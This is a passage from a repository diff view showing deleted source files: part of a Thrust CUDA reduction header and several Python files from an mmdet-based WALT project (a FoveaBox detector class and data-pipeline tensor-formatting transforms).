{
|
605 |
-
TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
|
606 |
-
|
607 |
-
if (num_items == 0)
|
608 |
-
{
|
609 |
-
return;
|
610 |
-
}
|
611 |
-
|
612 |
-
T block_aggregate =
|
613 |
-
impl(storage, input_it, reduction_op).consume_range((Size)0, num_items);
|
614 |
-
|
615 |
-
if (threadIdx.x == 0)
|
616 |
-
*output_it = block_aggregate;
|
617 |
-
}
|
618 |
-
|
619 |
-
// single tile reduce entry point
|
620 |
-
//
|
621 |
-
THRUST_AGENT_ENTRY(InputIt input_it,
|
622 |
-
OutputIt output_it,
|
623 |
-
Size num_items,
|
624 |
-
ReductionOp reduction_op,
|
625 |
-
T init,
|
626 |
-
char * shmem)
|
627 |
-
{
|
628 |
-
TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
|
629 |
-
|
630 |
-
if (num_items == 0)
|
631 |
-
{
|
632 |
-
if (threadIdx.x == 0)
|
633 |
-
*output_it = init;
|
634 |
-
return;
|
635 |
-
}
|
636 |
-
|
637 |
-
T block_aggregate =
|
638 |
-
impl(storage, input_it, reduction_op).consume_range((Size)0, num_items);
|
639 |
-
|
640 |
-
if (threadIdx.x == 0)
|
641 |
-
*output_it = reduction_op(init, block_aggregate);
|
642 |
-
}
|
643 |
-
|
644 |
-
THRUST_AGENT_ENTRY(InputIt input_it,
|
645 |
-
OutputIt output_it,
|
646 |
-
Size num_items,
|
647 |
-
cub::GridEvenShare<Size> even_share,
|
648 |
-
cub::GridQueue<UnsignedSize> queue,
|
649 |
-
ReductionOp reduction_op,
|
650 |
-
char * shmem)
|
651 |
-
{
|
652 |
-
TempStorage& storage = *reinterpret_cast<TempStorage*>(shmem);
|
653 |
-
|
654 |
-
typedef thrust::detail::integral_constant<cub::GridMappingStrategy, ptx_plan::GRID_MAPPING> grid_mapping;
|
655 |
-
|
656 |
-
T block_aggregate =
|
657 |
-
impl(storage, input_it, reduction_op)
|
658 |
-
.consume_tiles(num_items, even_share, queue, grid_mapping());
|
659 |
-
|
660 |
-
if (threadIdx.x == 0)
|
661 |
-
output_it[blockIdx.x] = block_aggregate;
|
662 |
-
}
|
663 |
-
}; // struct ReduceAgent
|
664 |
-
|
665 |
-
template<class Size>
|
666 |
-
struct DrainAgent
|
667 |
-
{
|
668 |
-
typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
|
669 |
-
|
670 |
-
template <class Arch>
|
671 |
-
struct PtxPlan : PtxPolicy<1> {};
|
672 |
-
typedef core::specialize_plan<PtxPlan> ptx_plan;
|
673 |
-
|
674 |
-
//---------------------------------------------------------------------
|
675 |
-
// Agent entry point
|
676 |
-
//---------------------------------------------------------------------
|
677 |
-
|
678 |
-
THRUST_AGENT_ENTRY(cub::GridQueue<UnsignedSize> grid_queue,
|
679 |
-
Size num_items,
|
680 |
-
char * /*shmem*/)
|
681 |
-
{
|
682 |
-
grid_queue.FillAndResetDrain(num_items);
|
683 |
-
}
|
684 |
-
}; // struct DrainAgent;
|
685 |
-
|
686 |
-
|
687 |
-
template <class InputIt,
|
688 |
-
class OutputIt,
|
689 |
-
class Size,
|
690 |
-
class ReductionOp,
|
691 |
-
class T>
|
692 |
-
cudaError_t THRUST_RUNTIME_FUNCTION
|
693 |
-
doit_step(void * d_temp_storage,
|
694 |
-
size_t & temp_storage_bytes,
|
695 |
-
InputIt input_it,
|
696 |
-
Size num_items,
|
697 |
-
T init,
|
698 |
-
ReductionOp reduction_op,
|
699 |
-
OutputIt output_it,
|
700 |
-
cudaStream_t stream,
|
701 |
-
bool debug_sync)
|
702 |
-
{
|
703 |
-
using core::AgentPlan;
|
704 |
-
using core::AgentLauncher;
|
705 |
-
using core::get_agent_plan;
|
706 |
-
using core::cuda_optional;
|
707 |
-
|
708 |
-
typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
|
709 |
-
|
710 |
-
if (num_items == 0)
|
711 |
-
return cudaErrorNotSupported;
|
712 |
-
|
713 |
-
typedef AgentLauncher<
|
714 |
-
ReduceAgent<InputIt, OutputIt, T, Size, ReductionOp> >
|
715 |
-
reduce_agent;
|
716 |
-
|
717 |
-
typename reduce_agent::Plan reduce_plan = reduce_agent::get_plan(stream);
|
718 |
-
|
719 |
-
cudaError_t status = cudaSuccess;
|
720 |
-
|
721 |
-
|
722 |
-
if (num_items <= reduce_plan.items_per_tile)
|
723 |
-
{
|
724 |
-
size_t vshmem_size = core::vshmem_size(reduce_plan.shared_memory_size, 1);
|
725 |
-
|
726 |
-
// small, single tile size
|
727 |
-
if (d_temp_storage == NULL)
|
728 |
-
{
|
729 |
-
temp_storage_bytes = max<size_t>(1, vshmem_size);
|
730 |
-
return status;
|
731 |
-
}
|
732 |
-
char *vshmem_ptr = vshmem_size > 0 ? (char*)d_temp_storage : NULL;
|
733 |
-
|
734 |
-
reduce_agent ra(reduce_plan, num_items, stream, vshmem_ptr, "reduce_agent: single_tile only", debug_sync);
|
735 |
-
ra.launch(input_it, output_it, num_items, reduction_op, init);
|
736 |
-
CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
|
737 |
-
}
|
738 |
-
else
|
739 |
-
{
|
740 |
-
// regular size
|
741 |
-
cuda_optional<int> sm_count = core::get_sm_count();
|
742 |
-
CUDA_CUB_RET_IF_FAIL(sm_count.status());
|
743 |
-
|
744 |
-
// reduction will not use more cta counts than requested
|
745 |
-
cuda_optional<int> max_blocks_per_sm =
|
746 |
-
reduce_agent::
|
747 |
-
template get_max_blocks_per_sm<InputIt,
|
748 |
-
OutputIt,
|
749 |
-
Size,
|
750 |
-
cub::GridEvenShare<Size>,
|
751 |
-
cub::GridQueue<UnsignedSize>,
|
752 |
-
ReductionOp>(reduce_plan);
|
753 |
-
CUDA_CUB_RET_IF_FAIL(max_blocks_per_sm.status());
|
754 |
-
|
755 |
-
|
756 |
-
|
757 |
-
int reduce_device_occupancy = (int)max_blocks_per_sm * sm_count;
|
758 |
-
|
759 |
-
int sm_oversubscription = 5;
|
760 |
-
int max_blocks = reduce_device_occupancy * sm_oversubscription;
|
761 |
-
|
762 |
-
cub::GridEvenShare<Size> even_share;
|
763 |
-
even_share.DispatchInit(static_cast<int>(num_items), max_blocks,
|
764 |
-
reduce_plan.items_per_tile);
|
765 |
-
|
766 |
-
// we will launch at most "max_blocks" blocks in a grid
|
767 |
-
// so preallocate virtual shared memory storage for this if required
|
768 |
-
//
|
769 |
-
size_t vshmem_size = core::vshmem_size(reduce_plan.shared_memory_size,
|
770 |
-
max_blocks);
|
771 |
-
|
772 |
-
// Temporary storage allocation requirements
|
773 |
-
void * allocations[3] = {NULL, NULL, NULL};
|
774 |
-
size_t allocation_sizes[3] =
|
775 |
-
{
|
776 |
-
max_blocks * sizeof(T), // bytes needed for privatized block reductions
|
777 |
-
cub::GridQueue<UnsignedSize>::AllocationSize(), // bytes needed for grid queue descriptor0
|
778 |
-
vshmem_size // size of virtualized shared memory storage
|
779 |
-
};
|
780 |
-
status = cub::AliasTemporaries(d_temp_storage,
|
781 |
-
temp_storage_bytes,
|
782 |
-
allocations,
|
783 |
-
allocation_sizes);
|
784 |
-
CUDA_CUB_RET_IF_FAIL(status);
|
785 |
-
if (d_temp_storage == NULL)
|
786 |
-
{
|
787 |
-
return status;
|
788 |
-
}
|
789 |
-
|
790 |
-
T *d_block_reductions = (T*) allocations[0];
|
791 |
-
cub::GridQueue<UnsignedSize> queue(allocations[1]);
|
792 |
-
char *vshmem_ptr = vshmem_size > 0 ? (char *)allocations[2] : NULL;
|
793 |
-
|
794 |
-
|
795 |
-
// Get grid size for device_reduce_sweep_kernel
|
796 |
-
int reduce_grid_size = 0;
|
797 |
-
if (reduce_plan.grid_mapping == cub::GRID_MAPPING_RAKE)
|
798 |
-
{
|
799 |
-
// Work is distributed evenly
|
800 |
-
reduce_grid_size = even_share.grid_size;
|
801 |
-
}
|
802 |
-
else if (reduce_plan.grid_mapping == cub::GRID_MAPPING_DYNAMIC)
|
803 |
-
{
|
804 |
-
// Work is distributed dynamically
|
805 |
-
size_t num_tiles = (num_items + reduce_plan.items_per_tile - 1) /
|
806 |
-
reduce_plan.items_per_tile;
|
807 |
-
|
808 |
-
// if not enough to fill the device with threadblocks
|
809 |
-
// then fill the device with threadblocks
|
810 |
-
reduce_grid_size = static_cast<int>(min(num_tiles, static_cast<size_t>(reduce_device_occupancy)));
|
811 |
-
|
812 |
-
typedef AgentLauncher<DrainAgent<Size> > drain_agent;
|
813 |
-
AgentPlan drain_plan = drain_agent::get_plan();
|
814 |
-
drain_plan.grid_size = 1;
|
815 |
-
drain_agent da(drain_plan, stream, "__reduce::drain_agent", debug_sync);
|
816 |
-
da.launch(queue, num_items);
|
817 |
-
CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
|
818 |
-
}
|
819 |
-
else
|
820 |
-
{
|
821 |
-
CUDA_CUB_RET_IF_FAIL(cudaErrorNotSupported);
|
822 |
-
}
|
823 |
-
|
824 |
-
reduce_plan.grid_size = reduce_grid_size;
|
825 |
-
reduce_agent ra(reduce_plan, stream, vshmem_ptr, "reduce_agent: regular size reduce", debug_sync);
|
826 |
-
ra.launch(input_it,
|
827 |
-
d_block_reductions,
|
828 |
-
num_items,
|
829 |
-
even_share,
|
830 |
-
queue,
|
831 |
-
reduction_op);
|
832 |
-
CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
|
833 |
-
|
834 |
-
|
835 |
-
typedef AgentLauncher<
|
836 |
-
ReduceAgent<T*, OutputIt, T, Size, ReductionOp> >
|
837 |
-
reduce_agent_single;
|
838 |
-
|
839 |
-
reduce_plan.grid_size = 1;
|
840 |
-
reduce_agent_single ra1(reduce_plan, stream, vshmem_ptr, "reduce_agent: single tile reduce", debug_sync);
|
841 |
-
|
842 |
-
ra1.launch(d_block_reductions, output_it, reduce_grid_size, reduction_op, init);
|
843 |
-
CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
|
844 |
-
}
|
845 |
-
|
846 |
-
return status;
|
847 |
-
} // func doit_step
|
848 |
-
|
849 |
-
|
850 |
-
template <typename Derived,
|
851 |
-
typename InputIt,
|
852 |
-
typename Size,
|
853 |
-
typename T,
|
854 |
-
typename BinaryOp>
|
855 |
-
THRUST_RUNTIME_FUNCTION
|
856 |
-
T reduce(execution_policy<Derived>& policy,
|
857 |
-
InputIt first,
|
858 |
-
Size num_items,
|
859 |
-
T init,
|
860 |
-
BinaryOp binary_op)
|
861 |
-
{
|
862 |
-
if (num_items == 0)
|
863 |
-
return init;
|
864 |
-
|
865 |
-
size_t temp_storage_bytes = 0;
|
866 |
-
cudaStream_t stream = cuda_cub::stream(policy);
|
867 |
-
bool debug_sync = THRUST_DEBUG_SYNC_FLAG;
|
868 |
-
|
869 |
-
cudaError_t status;
|
870 |
-
status = doit_step(NULL,
|
871 |
-
temp_storage_bytes,
|
872 |
-
first,
|
873 |
-
num_items,
|
874 |
-
init,
|
875 |
-
binary_op,
|
876 |
-
reinterpret_cast<T*>(NULL),
|
877 |
-
stream,
|
878 |
-
debug_sync);
|
879 |
-
cuda_cub::throw_on_error(status, "reduce failed on 1st step");
|
880 |
-
|
881 |
-
size_t allocation_sizes[2] = {sizeof(T*), temp_storage_bytes};
|
882 |
-
void * allocations[2] = {NULL, NULL};
|
883 |
-
|
884 |
-
size_t storage_size = 0;
|
885 |
-
status = core::alias_storage(NULL,
|
886 |
-
storage_size,
|
887 |
-
allocations,
|
888 |
-
allocation_sizes);
|
889 |
-
cuda_cub::throw_on_error(status, "reduce failed on 1st alias_storage");
|
890 |
-
|
891 |
-
// Allocate temporary storage.
|
892 |
-
thrust::detail::temporary_array<thrust::detail::uint8_t, Derived>
|
893 |
-
tmp(policy, storage_size);
|
894 |
-
void *ptr = static_cast<void*>(tmp.data().get());
|
895 |
-
|
896 |
-
status = core::alias_storage(ptr,
|
897 |
-
storage_size,
|
898 |
-
allocations,
|
899 |
-
allocation_sizes);
|
900 |
-
cuda_cub::throw_on_error(status, "reduce failed on 2nd alias_storage");
|
901 |
-
|
902 |
-
T* d_result = thrust::detail::aligned_reinterpret_cast<T*>(allocations[0]);
|
903 |
-
|
904 |
-
status = doit_step(allocations[1],
|
905 |
-
temp_storage_bytes,
|
906 |
-
first,
|
907 |
-
num_items,
|
908 |
-
init,
|
909 |
-
binary_op,
|
910 |
-
d_result,
|
911 |
-
stream,
|
912 |
-
debug_sync);
|
913 |
-
cuda_cub::throw_on_error(status, "reduce failed on 2nd step");
|
914 |
-
|
915 |
-
status = cuda_cub::synchronize(policy);
|
916 |
-
cuda_cub::throw_on_error(status, "reduce failed to synchronize");
|
917 |
-
|
918 |
-
T result = cuda_cub::get_value(policy, d_result);
|
919 |
-
|
920 |
-
return result;
|
921 |
-
}
|
922 |
-
} // namespace __reduce
|
923 |
-
|
924 |
-
namespace detail {
|
925 |
-
|
926 |
-
template <typename Derived,
|
927 |
-
typename InputIt,
|
928 |
-
typename Size,
|
929 |
-
typename T,
|
930 |
-
typename BinaryOp>
|
931 |
-
THRUST_RUNTIME_FUNCTION
|
932 |
-
T reduce_n_impl(execution_policy<Derived>& policy,
|
933 |
-
InputIt first,
|
934 |
-
Size num_items,
|
935 |
-
T init,
|
936 |
-
BinaryOp binary_op)
|
937 |
-
{
|
938 |
-
cudaStream_t stream = cuda_cub::stream(policy);
|
939 |
-
cudaError_t status;
|
940 |
-
|
941 |
-
// Determine temporary device storage requirements.
|
942 |
-
|
943 |
-
size_t tmp_size = 0;
|
944 |
-
|
945 |
-
THRUST_INDEX_TYPE_DISPATCH2(status,
|
946 |
-
cub::DeviceReduce::Reduce,
|
947 |
-
(cub::DispatchReduce<
|
948 |
-
InputIt, T*, Size, BinaryOp
|
949 |
-
>::Dispatch),
|
950 |
-
num_items,
|
951 |
-
(NULL, tmp_size, first, reinterpret_cast<T*>(NULL),
|
952 |
-
num_items_fixed, binary_op, init, stream,
|
953 |
-
THRUST_DEBUG_SYNC_FLAG));
|
954 |
-
cuda_cub::throw_on_error(status, "after reduction step 1");
|
955 |
-
|
956 |
-
// Allocate temporary storage.
|
957 |
-
|
958 |
-
thrust::detail::temporary_array<thrust::detail::uint8_t, Derived>
|
959 |
-
tmp(policy, sizeof(T) + tmp_size);
|
960 |
-
|
961 |
-
// Run reduction.
|
962 |
-
|
963 |
-
// `tmp.begin()` yields a `normal_iterator`, which dereferences to a
|
964 |
-
// `reference`, which has an `operator&` that returns a `pointer`, which
|
965 |
-
// has a `.get` method that returns a raw pointer, which we can (finally)
|
966 |
-
// `static_cast` to `void*`.
|
967 |
-
//
|
968 |
-
// The array was dynamically allocated, so we assume that it's suitably
|
969 |
-
// aligned for any type of data. `malloc`/`cudaMalloc`/`new`/`std::allocator`
|
970 |
-
// make this guarantee.
|
971 |
-
T* ret_ptr = thrust::detail::aligned_reinterpret_cast<T*>(tmp.data().get());
|
972 |
-
void* tmp_ptr = static_cast<void*>((tmp.data() + sizeof(T)).get());
|
973 |
-
THRUST_INDEX_TYPE_DISPATCH2(status,
|
974 |
-
cub::DeviceReduce::Reduce,
|
975 |
-
(cub::DispatchReduce<
|
976 |
-
InputIt, T*, Size, BinaryOp
|
977 |
-
>::Dispatch),
|
978 |
-
num_items,
|
979 |
-
(tmp_ptr, tmp_size, first, ret_ptr,
|
980 |
-
num_items_fixed, binary_op, init, stream,
|
981 |
-
THRUST_DEBUG_SYNC_FLAG));
|
982 |
-
cuda_cub::throw_on_error(status, "after reduction step 2");
|
983 |
-
|
984 |
-
// Synchronize the stream and get the value.
|
985 |
-
|
986 |
-
cuda_cub::throw_on_error(cuda_cub::synchronize(policy),
|
987 |
-
"reduce failed to synchronize");
|
988 |
-
|
989 |
-
// `tmp.begin()` yields a `normal_iterator`, which dereferences to a
|
990 |
-
// `reference`, which has an `operator&` that returns a `pointer`, which
|
991 |
-
// has a `.get` method that returns a raw pointer, which we can (finally)
|
992 |
-
// `static_cast` to `void*`.
|
993 |
-
//
|
994 |
-
// The array was dynamically allocated, so we assume that it's suitably
|
995 |
-
// aligned for any type of data. `malloc`/`cudaMalloc`/`new`/`std::allocator`
|
996 |
-
// make this guarantee.
|
997 |
-
return thrust::cuda_cub::get_value(policy,
|
998 |
-
thrust::detail::aligned_reinterpret_cast<T*>(tmp.data().get()));
|
999 |
-
}
|
1000 |
-
|
1001 |
-
} // namespace detail
|
1002 |
-
|
1003 |
-
//-------------------------
|
1004 |
-
// Thrust API entry points
|
1005 |
-
//-------------------------
|
1006 |
-
|
1007 |
-
__thrust_exec_check_disable__
|
1008 |
-
template <typename Derived,
|
1009 |
-
typename InputIt,
|
1010 |
-
typename Size,
|
1011 |
-
typename T,
|
1012 |
-
typename BinaryOp>
|
1013 |
-
__host__ __device__
|
1014 |
-
T reduce_n(execution_policy<Derived>& policy,
|
1015 |
-
InputIt first,
|
1016 |
-
Size num_items,
|
1017 |
-
T init,
|
1018 |
-
BinaryOp binary_op)
|
1019 |
-
{
|
1020 |
-
if (__THRUST_HAS_CUDART__)
|
1021 |
-
return thrust::cuda_cub::detail::reduce_n_impl(
|
1022 |
-
policy, first, num_items, init, binary_op);
|
1023 |
-
|
1024 |
-
#if !__THRUST_HAS_CUDART__
|
1025 |
-
return thrust::reduce(
|
1026 |
-
cvt_to_seq(derived_cast(policy)), first, first + num_items, init, binary_op);
|
1027 |
-
#endif
|
1028 |
-
}
|
1029 |
-
|
1030 |
-
template <class Derived, class InputIt, class T, class BinaryOp>
|
1031 |
-
__host__ __device__
|
1032 |
-
T reduce(execution_policy<Derived> &policy,
|
1033 |
-
InputIt first,
|
1034 |
-
InputIt last,
|
1035 |
-
T init,
|
1036 |
-
BinaryOp binary_op)
|
1037 |
-
{
|
1038 |
-
typedef typename iterator_traits<InputIt>::difference_type size_type;
|
1039 |
-
// FIXME: Check for RA iterator.
|
1040 |
-
size_type num_items = static_cast<size_type>(thrust::distance(first, last));
|
1041 |
-
return cuda_cub::reduce_n(policy, first, num_items, init, binary_op);
|
1042 |
-
}
|
1043 |
-
|
1044 |
-
template <class Derived,
|
1045 |
-
class InputIt,
|
1046 |
-
class T>
|
1047 |
-
__host__ __device__
|
1048 |
-
T reduce(execution_policy<Derived> &policy,
|
1049 |
-
InputIt first,
|
1050 |
-
InputIt last,
|
1051 |
-
T init)
|
1052 |
-
{
|
1053 |
-
return cuda_cub::reduce(policy, first, last, init, plus<T>());
|
1054 |
-
}
|
1055 |
-
|
1056 |
-
template <class Derived,
|
1057 |
-
class InputIt>
|
1058 |
-
__host__ __device__
|
1059 |
-
typename iterator_traits<InputIt>::value_type
|
1060 |
-
reduce(execution_policy<Derived> &policy,
|
1061 |
-
InputIt first,
|
1062 |
-
InputIt last)
|
1063 |
-
{
|
1064 |
-
typedef typename iterator_traits<InputIt>::value_type value_type;
|
1065 |
-
return cuda_cub::reduce(policy, first, last, value_type(0));
|
1066 |
-
}
|
1067 |
-
|
1068 |
-
|
1069 |
-
} // namespace cuda_cub
|
1070 |
-
|
1071 |
-
} // end namespace thrust
|
1072 |
-
|
1073 |
-
#include <thrust/memory.h>
|
1074 |
-
#include <thrust/reduce.h>
|
1075 |
-
|
1076 |
-
#endif
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/WALT/mmdet/models/detectors/fovea.py
DELETED
@@ -1,17 +0,0 @@
|
|
1 |
-
from ..builder import DETECTORS
|
2 |
-
from .single_stage import SingleStageDetector
|
3 |
-
|
4 |
-
|
5 |
-
@DETECTORS.register_module()
|
6 |
-
class FOVEA(SingleStageDetector):
|
7 |
-
"""Implementation of `FoveaBox <https://arxiv.org/abs/1904.03797>`_"""
|
8 |
-
|
9 |
-
def __init__(self,
|
10 |
-
backbone,
|
11 |
-
neck,
|
12 |
-
bbox_head,
|
13 |
-
train_cfg=None,
|
14 |
-
test_cfg=None,
|
15 |
-
pretrained=None):
|
16 |
-
super(FOVEA, self).__init__(backbone, neck, bbox_head, train_cfg,
|
17 |
-
test_cfg, pretrained)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/WALT/walt/datasets/pipelines/__init__.py
DELETED
@@ -1,25 +0,0 @@
|
|
1 |
-
from .auto_augment import (AutoAugment, BrightnessTransform, ColorTransform,
|
2 |
-
ContrastTransform, EqualizeTransform, Rotate, Shear,
|
3 |
-
Translate)
|
4 |
-
from .compose import Compose
|
5 |
-
from .formating import (Collect, DefaultFormatBundle, ImageToTensor,
|
6 |
-
ToDataContainer, ToTensor, Transpose, to_tensor)
|
7 |
-
from .instaboost import InstaBoost
|
8 |
-
from .loading import (LoadAnnotations, LoadImageFromFile, LoadImageFromWebcam,
|
9 |
-
LoadMultiChannelImageFromFiles, LoadProposals)
|
10 |
-
from .test_time_aug import MultiScaleFlipAug
|
11 |
-
from .transforms import (Albu, CutOut, Expand, MinIoURandomCrop, Normalize,
|
12 |
-
Pad, PhotoMetricDistortion, RandomCenterCropPad,
|
13 |
-
RandomCrop, RandomFlip, Resize, SegRescale)
|
14 |
-
|
15 |
-
__all__ = [
|
16 |
-
'Compose', 'to_tensor', 'ToTensor', 'ImageToTensor', 'ToDataContainer',
|
17 |
-
'Transpose', 'Collect', 'DefaultFormatBundle', 'LoadAnnotations',
|
18 |
-
'LoadImageFromFile', 'LoadImageFromWebcam',
|
19 |
-
'LoadMultiChannelImageFromFiles', 'LoadProposals', 'MultiScaleFlipAug',
|
20 |
-
'Resize', 'RandomFlip', 'Pad', 'RandomCrop', 'Normalize', 'SegRescale',
|
21 |
-
'MinIoURandomCrop', 'Expand', 'PhotoMetricDistortion', 'Albu',
|
22 |
-
'InstaBoost', 'RandomCenterCropPad', 'AutoAugment', 'CutOut', 'Shear',
|
23 |
-
'Rotate', 'ColorTransform', 'EqualizeTransform', 'BrightnessTransform',
|
24 |
-
'ContrastTransform', 'Translate'
|
25 |
-
]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/WALT/walt/datasets/pipelines/formating.py
DELETED
@@ -1,366 +0,0 @@
|
|
1 |
-
from collections.abc import Sequence
|
2 |
-
|
3 |
-
import mmcv
|
4 |
-
import numpy as np
|
5 |
-
import torch
|
6 |
-
from mmcv.parallel import DataContainer as DC
|
7 |
-
|
8 |
-
from ..builder import PIPELINES
|
9 |
-
|
10 |
-
|
11 |
-
def to_tensor(data):
|
12 |
-
"""Convert objects of various python types to :obj:`torch.Tensor`.
|
13 |
-
|
14 |
-
Supported types are: :class:`numpy.ndarray`, :class:`torch.Tensor`,
|
15 |
-
:class:`Sequence`, :class:`int` and :class:`float`.
|
16 |
-
|
17 |
-
Args:
|
18 |
-
data (torch.Tensor | numpy.ndarray | Sequence | int | float): Data to
|
19 |
-
be converted.
|
20 |
-
"""
|
21 |
-
|
22 |
-
if isinstance(data, torch.Tensor):
|
23 |
-
return data
|
24 |
-
elif isinstance(data, np.ndarray):
|
25 |
-
return torch.from_numpy(data)
|
26 |
-
elif isinstance(data, Sequence) and not mmcv.is_str(data):
|
27 |
-
return torch.tensor(data)
|
28 |
-
elif isinstance(data, int):
|
29 |
-
return torch.LongTensor([data])
|
30 |
-
elif isinstance(data, float):
|
31 |
-
return torch.FloatTensor([data])
|
32 |
-
else:
|
33 |
-
raise TypeError(f'type {type(data)} cannot be converted to tensor.')
|
34 |
-
|
35 |
-
|
36 |
-
@PIPELINES.register_module()
|
37 |
-
class ToTensor(object):
|
38 |
-
"""Convert some results to :obj:`torch.Tensor` by given keys.
|
39 |
-
|
40 |
-
Args:
|
41 |
-
keys (Sequence[str]): Keys that need to be converted to Tensor.
|
42 |
-
"""
|
43 |
-
|
44 |
-
def __init__(self, keys):
|
45 |
-
self.keys = keys
|
46 |
-
|
47 |
-
def __call__(self, results):
|
48 |
-
"""Call function to convert data in results to :obj:`torch.Tensor`.
|
49 |
-
|
50 |
-
Args:
|
51 |
-
results (dict): Result dict contains the data to convert.
|
52 |
-
|
53 |
-
Returns:
|
54 |
-
dict: The result dict contains the data converted
|
55 |
-
to :obj:`torch.Tensor`.
|
56 |
-
"""
|
57 |
-
for key in self.keys:
|
58 |
-
results[key] = to_tensor(results[key])
|
59 |
-
return results
|
60 |
-
|
61 |
-
def __repr__(self):
|
62 |
-
return self.__class__.__name__ + f'(keys={self.keys})'
|
63 |
-
|
64 |
-
|
65 |
-
@PIPELINES.register_module()
|
66 |
-
class ImageToTensor(object):
|
67 |
-
"""Convert image to :obj:`torch.Tensor` by given keys.
|
68 |
-
|
69 |
-
The dimension order of input image is (H, W, C). The pipeline will convert
|
70 |
-
it to (C, H, W). If only 2 dimension (H, W) is given, the output would be
|
71 |
-
(1, H, W).
|
72 |
-
|
73 |
-
Args:
|
74 |
-
keys (Sequence[str]): Key of images to be converted to Tensor.
|
75 |
-
"""
|
76 |
-
|
77 |
-
def __init__(self, keys):
|
78 |
-
self.keys = keys
|
79 |
-
|
80 |
-
def __call__(self, results):
|
81 |
-
"""Call function to convert image in results to :obj:`torch.Tensor` and
|
82 |
-
transpose the channel order.
|
83 |
-
|
84 |
-
Args:
|
85 |
-
results (dict): Result dict contains the image data to convert.
|
86 |
-
|
87 |
-
Returns:
|
88 |
-
dict: The result dict contains the image converted
|
89 |
-
to :obj:`torch.Tensor` and transposed to (C, H, W) order.
|
90 |
-
"""
|
91 |
-
for key in self.keys:
|
92 |
-
img = results[key]
|
93 |
-
if len(img.shape) < 3:
|
94 |
-
img = np.expand_dims(img, -1)
|
95 |
-
results[key] = to_tensor(img.transpose(2, 0, 1))
|
96 |
-
return results
|
97 |
-
|
98 |
-
def __repr__(self):
|
99 |
-
return self.__class__.__name__ + f'(keys={self.keys})'
|
100 |
-
|
101 |
-
|
102 |
-
@PIPELINES.register_module()
|
103 |
-
class Transpose(object):
|
104 |
-
"""Transpose some results by given keys.
|
105 |
-
|
106 |
-
Args:
|
107 |
-
keys (Sequence[str]): Keys of results to be transposed.
|
108 |
-
order (Sequence[int]): Order of transpose.
|
109 |
-
"""
|
110 |
-
|
111 |
-
def __init__(self, keys, order):
|
112 |
-
self.keys = keys
|
113 |
-
self.order = order
|
114 |
-
|
115 |
-
def __call__(self, results):
|
116 |
-
"""Call function to transpose the channel order of data in results.
|
117 |
-
|
118 |
-
Args:
|
119 |
-
results (dict): Result dict contains the data to transpose.
|
120 |
-
|
121 |
-
Returns:
|
122 |
-
dict: The result dict contains the data transposed to \
|
123 |
-
``self.order``.
|
124 |
-
"""
|
125 |
-
for key in self.keys:
|
126 |
-
results[key] = results[key].transpose(self.order)
|
127 |
-
return results
|
128 |
-
|
129 |
-
def __repr__(self):
|
130 |
-
return self.__class__.__name__ + \
|
131 |
-
f'(keys={self.keys}, order={self.order})'
|
132 |
-
|
133 |
-
|
134 |
-
@PIPELINES.register_module()
|
135 |
-
class ToDataContainer(object):
|
136 |
-
"""Convert results to :obj:`mmcv.DataContainer` by given fields.
|
137 |
-
|
138 |
-
Args:
|
139 |
-
fields (Sequence[dict]): Each field is a dict like
|
140 |
-
``dict(key='xxx', **kwargs)``. The ``key`` in result will
|
141 |
-
be converted to :obj:`mmcv.DataContainer` with ``**kwargs``.
|
142 |
-
Default: ``(dict(key='img', stack=True), dict(key='gt_bboxes'),
|
143 |
-
dict(key='gt_labels'))``.
|
144 |
-
"""
|
145 |
-
|
146 |
-
def __init__(self,
|
147 |
-
fields=(dict(key='img', stack=True), dict(key='gt_bboxes'),
|
148 |
-
dict(key='gt_labels'))):
|
149 |
-
self.fields = fields
|
150 |
-
|
151 |
-
def __call__(self, results):
|
152 |
-
"""Call function to convert data in results to
|
153 |
-
:obj:`mmcv.DataContainer`.
|
154 |
-
|
155 |
-
Args:
|
156 |
-
results (dict): Result dict contains the data to convert.
|
157 |
-
|
158 |
-
Returns:
|
159 |
-
dict: The result dict contains the data converted to \
|
160 |
-
:obj:`mmcv.DataContainer`.
|
161 |
-
"""
|
162 |
-
|
163 |
-
for field in self.fields:
|
164 |
-
field = field.copy()
|
165 |
-
key = field.pop('key')
|
166 |
-
results[key] = DC(results[key], **field)
|
167 |
-
return results
|
168 |
-
|
169 |
-
def __repr__(self):
|
170 |
-
return self.__class__.__name__ + f'(fields={self.fields})'
|
171 |
-
|
172 |
-
|
173 |
-
@PIPELINES.register_module()
|
174 |
-
class DefaultFormatBundle(object):
|
175 |
-
"""Default formatting bundle.
|
176 |
-
|
177 |
-
It simplifies the pipeline of formatting common fields, including "img",
|
178 |
-
"proposals", "gt_bboxes", "gt_labels", "gt_masks" and "gt_semantic_seg".
|
179 |
-
These fields are formatted as follows.
|
180 |
-
|
181 |
-
- img: (1)transpose, (2)to tensor, (3)to DataContainer (stack=True)
|
182 |
-
- proposals: (1)to tensor, (2)to DataContainer
|
183 |
-
- gt_bboxes: (1)to tensor, (2)to DataContainer
|
184 |
-
- gt_bboxes_ignore: (1)to tensor, (2)to DataContainer
|
185 |
-
- gt_labels: (1)to tensor, (2)to DataContainer
|
186 |
-
- gt_masks: (1)to tensor, (2)to DataContainer (cpu_only=True)
|
187 |
-
- gt_semantic_seg: (1)unsqueeze dim-0 (2)to tensor, \
|
188 |
-
(3)to DataContainer (stack=True)
|
189 |
-
"""
|
190 |
-
|
191 |
-
